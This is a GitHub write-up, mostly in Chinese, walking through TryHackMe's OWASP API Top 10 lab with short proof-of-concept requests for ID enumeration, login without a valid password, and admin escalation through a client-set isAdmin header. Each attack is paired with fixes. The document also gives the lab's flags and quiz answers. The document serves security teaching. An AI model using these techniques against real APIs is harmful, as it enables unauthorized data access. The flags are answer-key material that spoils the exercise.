AdityaBhatt3010/OWASP-Top-10-API-THM-Part-1
GitHub: AdityaBhatt3010/OWASP-Top-10-API-THM-Part-1
这是一份针对 TryHackMe 平台 OWASP API Top 10 实验室的详细通关指南,涵盖了常见 API 漏洞的利用步骤与安全修复建议。
Stars: 1 | Forks: 0
# 🛡️ OWASP API Security Top 10 (Part 1) — TryHackMe Walkthrough
实验室:[https://tryhackme.com/room/owaspapisecuritytop105w](https://tryhackme.com/room/owaspapisecuritytop105w)

# 📌 Task 1 — Introduction
### 🧠 What’s Happening
您基本上正在启动一个 **Windows VM + Talend API Tester + 存在漏洞的 Laravel 应用**。
➡️ 该环境已预先配置用于测试 API 漏洞。
### ✅ Outcome
* 成功连接到 VM
* 工具自动启动
* 准备好进行 API 测试
# 📌 Task 2 — Understanding APIs
### 🧠 Key Idea
API = 应用程序之间的桥梁。
* 客户端发送请求
* 服务器响应
* 通过 API 文档定义
👉 API 是 **现代应用程序的核心构建块**
### 🚨 Real Breaches (Important Insight)
* LinkedIn → 通过 API 抓取了 700M 用户数据
* Twitter → 5.4M 用户数据暴露
* PIXLR → 1.9M 条记录泄露
➡️ 教训:**API = 高价值攻击面**
### ✅ Answers
* 样本记录 → **1 million**
* API 文档无用吗? → **No (nay)**
# 📌 Task 3 — BOLA (Broken Object Level Authorization)
### 🧠 Concept
API 使用 ID 暴露数据,但 **不检查请求者是谁**。
➡️ 更改 ID = 数据泄露
## ⚔️ PoC
### Step 1 — Hit Vulnerable Endpoint
```
GET /apirule1_v/user/1
```
➡️ 在没有任何身份验证检查的情况下返回用户数据。

### Step 2 — ID Enumeration
```
GET /apirule1_v/user/2
```
➡️ 只需递增 ID → 访问其他用户。

### Step 3 — Extract Data
* 员工总数 → **3**
* Flag (ID=2) → **THM{838123}**
* 用户名 (ID=3) → **Bob**
### ⚠️ Why Vulnerable
* 没有授权检查
* 可预测的 ID
* 直接对象引用
### 🔐 Fix
* 授权令牌
* 角色验证
* 使用 UUID
# 📌 Task 4 — Broken User Authentication (BUA)
### 🧠 Concept
登录系统存在缺陷 — **密码未经验证**。
## ⚔️ PoC
### Step 1 — Login with Only Email
```
POST /apirule2/user/login_v
```
```
email=hr@mht.com&password=anything
```
➡️ 即使密码错误也能登录 💀

### Step 2 — Get Token
```
cOC%Aonyis%H)mZ&uJkuI?_W#4&m>Y
```
➡️ 在没有适当身份验证的情况下签发了令牌。
### Step 3 — Use Token
```
GET /apirule2/user/details
Authorization-Token:
```
➡️ 完全接管账户。
### ⚠️ Why Vulnerable
* SQL 仅检查邮箱
* 密码被忽略
* 盲目签发令牌
### 🔐 Fix
* 正确验证密码
* 使用哈希(bcrypt)
* MFA + JWT
### ✅ Extra Answer
* 通过 GET 请求获取凭据? → **No (nay)**
# 📌 Task 5 — Excessive Data Exposure
### 🧠 Concept
API 返回 **过多信息**,期望前端进行过滤。
➡️ 攻击者拦截原始响应 → 获取敏感信息。
## ⚔️ PoC
### Step 1 — Fetch Comment
```
GET /apirule3/comment_v/2
```
➡️ 返回包含隐藏字段的完整数据集。

### Step 2 — Extract Sensitive Data
* 设备 ID → **iOS15.411**
### Step 3 — Another Record
```
GET /apirule3/comment_v/3
```
➡️ 用户名 → **hacker#!**

### ⚠️ Why Vulnerable
* 后端发送所有内容
* 没有过滤
* 信任前端
### 🔐 Fix
* 返回最少数据
* 避免使用通用序列化器
* 验证 API 响应
### ✅ Answer
* 仅在网络层面修复? → **No (nay)**
# 📌 Task 6 — Lack of Resources & Rate Limiting
### 🧠 Concept
没有请求限制 → 攻击者可以滥发端点请求。
➡️ 导致 DoS 或财务滥用。
## ⚔️ PoC
### Step 1 — Send OTP
```
POST /apirule4/sendOTP_s
email=hr@mht.com
```
➡️ 响应 → **200**

### Step 2 — Invalid Email
```
POST /apirule4/sendOTP_s
email=sale@mht.com
```
```
Invalid Email
```

### ⚠️ Why Vulnerable
* 没有速率限制
* 无限请求
* 资源耗尽
### 🔐 Fix
* 速率限制(基于时间)
* CAPTCHA
* 请求配额
### ✅ Answer
* 在网络层面进行速率限制? → **Yes (yea)**
# 📌 Task 7 — Broken Function Level Authorization
### 🧠 Concept
用户可以通过操纵请求参数来提升权限。
## ⚔️ PoC
### Step 1 — Send Admin Request
```
GET /apirule5/users_v
Authorization-Token: YWxpY2U6dGVzdCFAISM6Nzg5Nzg=
isAdmin: 1
```
➡️ 普通用户访问管理员数据 😶
### Step 2 — Extract Data
* Alice 手机号 → **+1235322323**
* Admin flag → **THM{3432$@#2!}**
### ⚠️ Why Vulnerable
* 信任客户端输入 (`isAdmin`)
* 没有后端角色验证
### 🔐 Fix
* 在服务端强制执行 RBAC
* 忽略客户端控制的角色字段
### ✅ Answer
* 隐藏字段中的 isAdmin 安全吗? → **No (nay)**
# 📌 Task 8 — Conclusion
### 🧠 What You Learned
本实验基本上演练了 5 个核心 API 失败场景:
1. BOLA → 基于 ID 的数据泄露
2. BUA → 损坏的登录逻辑
3. 数据暴露 → 返回过多数据
4. 无速率限制 → 可能被滥用
5. 功能授权 → 权限提升

# 🧾 Final Take (Important)
👉 API 失败主要由于 **信任假设**:
* 信任 ID → BOLA
* 信任登录 → BUA
* 信任前端 → 数据泄露
* 无限制 → 滥用
* 信任用户角色 → 管理员绕过
## 👋 Outro
如果这对您有帮助,请在这里联系我:
* GitHub: [https://github.com/AdityaBhatt3010](https://github.com/AdityaBhatt3010)
* LinkedIn: [https://www.linkedin.com/in/adityabhatt3010/](https://www.linkedin.com/in/adityabhatt3010/)
* Medium: [https://medium.com/@adityabhatt3010](https://medium.com/@adityabhatt3010)
更多 writeups 即将到来 — 更简洁、更深入,稍微有点疯狂 🗿🔥
标签:API安全, BOLA, Broken Object Level Authorization, Broken User Authentication, ID枚举, JSON输出, Laravel, OWASP Top 10, StruQ, Talend API Tester, TryHackMe, Walkthrough, Windows VM, 安全修复, 实战演练, 数据展示, 未授权访问, 渗透测试教程, 漏洞复现, 红队, 网络安全, 网络安全审计, 越权访问, 身份认证绕过, 隐私保护